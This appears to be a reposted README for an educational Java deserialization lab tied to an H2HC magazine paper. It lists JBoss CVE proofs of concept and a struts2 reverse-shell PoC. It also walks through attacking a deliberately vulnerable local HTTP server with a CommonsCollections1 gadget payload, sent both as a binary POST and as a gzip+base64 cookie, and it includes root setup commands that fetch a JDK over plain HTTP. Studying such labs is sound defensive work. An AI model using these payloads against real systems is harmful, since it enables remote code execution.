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CVE-2015-7501

Educational lab for understanding Java deserialization vulnerabilities with PoC exploits for JBoss CVEs, gadget chain analysis, and a vulnerable HTTP server for testing payloads.

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Lab for Java Deserialization Vulnerabilities

This content is related to the paper written for the 12th edition of H2HC magazine. See full paper in: https://www.h2hc.com.br/revista/

Slides and video of the talk will be available soon.

Um overview sobre as bases das falhas de desserialização nativa em ambientes Java (JVM)

An overview of deserialization vulnerabilities in the Java Virtual Machine (JVM)

Content

The lab contains code samples that help you understand deserialization vulnerabilities and how gadget chains exploit them. The goal is to provide a better understanding so that you can develop new payloads and/or better design your environments.

There is also a vulnerable testing application (VulnerableHTTPServer.java), which helps you test your payloads.

Slides

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Examples (PoC's)

  • PoC CVE-2017-7504 - JBossMQ JMS Invocation Layer (https://access.redhat.com/security/cve/cve-2017-7504)

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  • PoC CVE-2017-12149 - JBoss 6.X and EAP 5.X (https://access.redhat.com/security/cve/cve-2017-12149)

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  • PoC Exploiting struts2-rest XStream Deserialization with Reverse Shell

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Lab Usage Examples

First of all you need to read the full paper. Then review the sample codes and use the vulnerable testing application to understand how payloads work.

Getting JDK

If you dont want to go to the Oracle page and register, you can download the JDK directly from me in: http://www.joaomatosf.com/rnp/?prefix=rnp/java_files/

As root, run:

root@kitploit:~
# cd /opt
# curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz 
# tar zxvf jdk-8u20-linux-x64.tar.gz
# rm -rf /usr/bin/java*
# ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
# java -version
  java version "1.8.0_20" 

Getting codes:

root@kitploit:~
$ git clone https://github.com/joaomatosf/JavaDeserH2HC.git
$ cd JavaDeserH2HC

Compiling and executing Vulnerable Web Application:

root@kitploit:~
$ javac VulnerableHTTPServer.java -XDignore.symbol.file
$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
root@kitploit:~
* =============================================================== *
*    Simple Java HTTP Server for Deserialization Lab v0.01        *
*    https://github.com/joaomatosf/JavaDeserH2HC                  *
* =============================================================== *
You can inject java serialized objects in the following formats:

 1) Binary in HTTP POST (ie \xAC\xED). Ex:
   $ curl 127.0.0.1:8000 --data-binary @ObjectFile.ser

 2) Base64 or Gzip+Base64 via HTTP POST parameters. Ex:
   $ curl 127.0.0.1:8000 -d "ViewState=H4sICAeH..."
   $ curl 127.0.0.1:8000 -d "ViewState=rO0ABXNy..."

 3) Base64 or Gzip+Base64 in cookies. Ex:
   $ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=H4sICAeH..."
   $ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=rO0ABXNy..."
   
 4) Base64 of AES-CBC encrypted with hardcoded Apache Shiro key. Ex:
   $ curl 127.0.0.1:8000 -H "Cookie: rememberMe=MTIzNDU2Nzg...
   
 5) XML for XStream RCE vulnerability/serialization. Ex:
   $ curl 127.0.0.1:8000 -d @file.xml
   
OBS: To test gadgets in specific libraries, run with -cp param. Ex:
$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
==================================================================

JRE Version: 1.8.0_77
[INFO]: Listening on port 8000

Testing payloads

Compiling example1 that works in applications with commons-collections3.2.1 in the classpath and JRE < 8u72:

root@kitploit:~
$ javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java

Generating payload:

root@kitploit:~
$ java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 'touch /tmp/h2hc_2017'
Saving serialized object in ExampleCommonsCollections1.ser

Exploiting vulnerable server:

Sending the payload in binary format via HTTP POST:

root@kitploit:~
$ rm -rf /tmp/h2hc_2017
$ curl 127.0.0.1:8000/ --data-binary @ExampleCommonsCollections1.ser
Data deserialized!
$ ls -all /tmp/h2hc_2017
-rw-r--r-- 1 joao joao 0 Sep 13 22:34 /tmp/h2hc_2017

Sending the payload in Gzip+Base64 format via HTTP Cookies:

root@kitploit:~
$ rm -rf /tmp/h2hc_2017
$ gzip ExampleCommonsCollections1.ser
$ base64 -w0 ExampleCommonsCollections1.ser.gz
$ curl 127.0.0.1:8000/ -H "cookie: JSESSIONID=H4sICMeVuVkAA0V4YW1wbGVDb21tb25zQ29sbGVjdGlvbnMxLnNlcgCVVD1MFEEUfrd3iKDEAxVNiITGqER2kZhIuEKRBCFZlCAS4hU67M3dLuzOrjOz5x0ohY0tBQmxUQut/EmMtYWxMBEl0UZDZ2HURBMtrHVmd+9uAf+44u7tzfu+933vvdn7X6GOUehhPlEpztvY4CoixOWIWy5R+6vhMCm6RhANIZKzMT334seO3cvzdxVQdNjuYGcK0wlk+5hx2KFPoyLSfG7Z2gjyMjqkeNnDHJrDAxuRgjZgI8YyJY9dBYAENMkTVUJUASlR2BP8IVOrykapWyq/P7Da8TI9sKxAQoeEyWF/jDTK1DbIlYUuwTyAcNvp0oKKPGSYWDVcx3EJE7+2BFoydpCn6mi2LHSQD4vXbpbTi0lZrD6PDO7SMofDuqDQQgototBiFNo4RYTlXeqElSn0/aNm3ieSm6kDJrIIzsUIup8vfTk4u5QShrPQZMVORKu7spuT4tMI8jcxcciTic7v747uvaEAlDwxqZQwk/lvM+KJI8JjhJPFheZ+5dFiML4Gq5LBoSU2xjNT04JLyC1SaK7twZhPuOVgqH0211u5FTOYxtRc//RzZu7KSq8CySzUWf20IHq6M7tRig7brBHMTTd3Gjl4rdqznFqkkMmKlFFEkTMudl3QtGR/s+2i/xF9aCmiX1iZvJVmh+xKlxUOjQXMI8MC1BIHhWT3Wt8+XH51vjoZ4NAgMKFKXy57u2QSLUzXoKHW29/u9M5mHp8MoMUgNbgdrQGsTcK8aih4t1hB5/5EGppYM5aAtG0daWK9+6hzD95MfPy8b+5UxUmSQ702ZRGNieutdAnqXdz1DbND446nmT2mcaGn+8gxDilcwkZVVSIoqrHKzgQvkyHETHGR6+pXnz5rvfg6CcogNNouyg0Gl3kYGrhJMTNdO1fyjp8I9V/eKr7SgZOSsNpeUxx7OY5hjomM1hiXEvp+AaGU2MlXBQAA"
Data deserialized!
$ ls -all /tmp/h2hc_2017
-rw-r--r-- 1 joao joao 0 Sep 13 22:47 /tmp/h2hc_2017
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